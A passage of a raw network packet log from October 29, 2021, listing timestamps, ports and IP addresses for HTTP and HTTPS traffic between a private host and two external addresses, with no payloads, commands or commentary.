Oct 29, 2021 20:29:19.567540884 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567559004 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567563057 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567611933 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567630053 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567636967 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567661047 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567684889 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567704916 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567708969 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567734003 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567755938 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567758083 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567781925 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567801952 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567804098 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567828894 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567830086 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567852974 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567874908 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567893028 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567898989 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567922115 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567945004 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567953110 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567960978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567994118 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.568037987 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.607728958 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607752085 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607768059 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607793093 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607831001 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.607846975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607871056 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607872009 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.607889891 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607907057 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.607948065 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608290911 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608326912 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608345032 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608370066 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608428001 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608442068 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608465910 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608485937 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608493090 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608515024 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608537912 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608541012 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608562946 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608583927 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608606100 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608608961 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608659983 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608730078 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608755112 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608774900 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608795881 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608839989 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608870029 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608877897 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608894110 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608915091 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608935118 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608953953 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.608958960 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608977079 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.608987093 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.609049082 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647532940 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647566080 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647588968 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647613049 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647633076 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647653103 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647674084 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647694111 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647701979 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647715092 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647736073 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647757053 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647758007 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647778988 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647793055 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647798061 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647819996 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647819996 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647841930 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647862911 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647865057 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647883892 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647905111 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647916079 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647924900 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647944927 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647947073 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.647964001 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.647979021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.648030996 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648051023 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648070097 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648087978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648107052 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648114920 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.648128986 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648149014 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648168087 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.648169994 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648210049 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.648225069 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648298979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.648351908 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687529087 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687560081 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687580109 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687601089 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687622070 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687643051 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687663078 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687684059 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687705040 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687726021 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687736034 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687747002 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687758923 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687762022 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687768936 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687791109 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687798023 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687813044 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687829971 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687834978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687855959 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687876940 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687881947 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687899113 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687920094 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687937021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687941074 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687962055 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.687983036 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.687984943 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688004971 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.688007116 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688030005 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688050032 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688055038 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.688071012 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688093901 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688095093 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.688116074 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688137054 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688142061 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.688158989 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688179016 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688186884 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.688196898 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.688220978 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.698532104 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.727384090 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727410078 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727494955 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.727682114 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727720022 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727776051 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.727822065 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727844000 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.727885962 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728064060 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728087902 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728107929 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728130102 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728137016 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728151083 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728173018 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728176117 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728194952 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728204012 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728216887 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728238106 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728238106 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728260994 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728281021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728281975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728310108 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728331089 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728348017 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728353024 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728374958 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728382111 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728395939 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728415966 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728420973 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728435993 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728456020 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728456020 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728477001 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728497982 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728507042 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728518009 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728538990 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728538036 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728559017 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728576899 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728579998 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728600979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728620052 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728636026 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.728638887 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.728672981 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.767539978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767571926 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767592907 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767613888 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767635107 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767642021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.767654896 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767677069 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767680883 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.767698050 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767719030 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767740965 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767752886 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.767784119 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767784119 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.767806053 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.767848969 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768115997 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768162012 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768183947 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768203974 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768208027 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768224955 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768228054 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768245935 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768265009 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768268108 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768285990 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768306017 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768330097 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768349886 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768371105 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768387079 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768392086 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768413067 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768415928 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768433094 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768454075 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768455029 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768492937 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768794060 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768836975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768877029 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768903971 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768923998 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768932104 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768944979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768965960 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.768978119 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.768985033 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.769030094 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807257891 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807322979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807348013 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807364941 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807382107 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807404041 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807406902 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807423115 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807430029 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807456017 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807459116 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807481050 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807493925 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807502031 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807518959 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807555914 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807585955 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807610989 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807624102 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807634115 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807655096 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807672977 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807687998 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807703018 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807704926 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807723045 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807735920 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807740927 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807771921 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807821035 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807873011 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807895899 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807912111 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807919025 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807945013 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807960987 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.807967901 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.807992935 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.808015108 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.808027983 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.808038950 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.808059931 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.808062077 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.808082104 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.808094025 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.808129072 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.816348076 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.838759899 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:19.838787079 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:19.838999987 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:19.875735044 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.892452002 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:19.892481089 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:19.927650928 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.931123972 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:19.931236029 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:19.933840036 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:19.933861017 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:19.934207916 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:20.118171930 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.221347094 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.264879942 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296118975 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296217918 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296258926 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296297073 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296313047 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.296333075 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.296334982 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.296350956 CEST	443	49826	162.159.130.233	192.168.2.3
